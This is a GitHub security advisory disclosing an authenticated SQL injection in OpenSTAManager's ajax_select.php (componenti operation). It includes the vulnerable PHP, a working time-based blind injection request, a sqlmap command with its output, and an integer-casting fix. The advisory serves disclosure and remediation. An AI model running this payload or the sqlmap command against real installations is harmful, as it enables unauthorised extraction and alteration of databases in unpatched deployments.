GitHub Advisoryadvisory · Packagist

GHSA-qjv8-63xq-gq8m OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)

HIGH Published 2026-02-06 Modified 2026-02-10 Official page ↗
Aliases
CVE-2025-69214
Ecosystem
Packagist
Packages
devcode-it/openstamanager
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-89
Reviewed
2026-02-06

Affected packages

• Packagist devcode-it/openstamanager: <= 2.9.8 (no fix yet)

Description

Summary A SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter. Proof of Concept Vulnerable Code File: `modules/impianti/ajax/select.php:122-124` ```php case 'componenti': $impianti = $superselect['matricola']; if (!empty($impianti)) { $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')'; } ``` Data Flow 1. Source: `$_GET['options']['matricola']` → `$superselect['matricola']` 2. Vulnerable: User input concatenated directly into `IN()` clause without sanitization 3. Sink: Query executed via AJAX framework Exploit Manual PoC (Time-based Blind SQLi): ```http GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID= ``` SQLMap Exploitation: ```bash sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \ --cookie="PHPSESSID=" \ --dbms=MySQL \ --technique=T \ --level=3 \ --risk=3 ``` SQLMap Output: ``` [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable Parameter: #1* (URI) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI back-end DBMS: MySQL >= 5.0.12 ``` Impact • Data Exfiltration: Time-based blind SQL Injection allows complete database extraction • Authentication Bypass: Access to sensitive component and equipment data • Data Manipulation: Potential unauthorized modification of records Remediation Cast values to integers before using in SQL: Before: ```php $impianti = $superselect['matricola']; if (!empty($impianti)) { $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')'; } ``` After: ```php $impianti = $superselect['matricola']; if (!empty($impianti)) { $ids = array_map('intval', explode(',', $impianti)); $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')'; } ``` Credit Discovered by: Łukasz Rybak

Related

Alias · CVE (1)

  • CVE-2025-69214 OpenSTAManager is an open source management software for technical assistance and invoicing. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References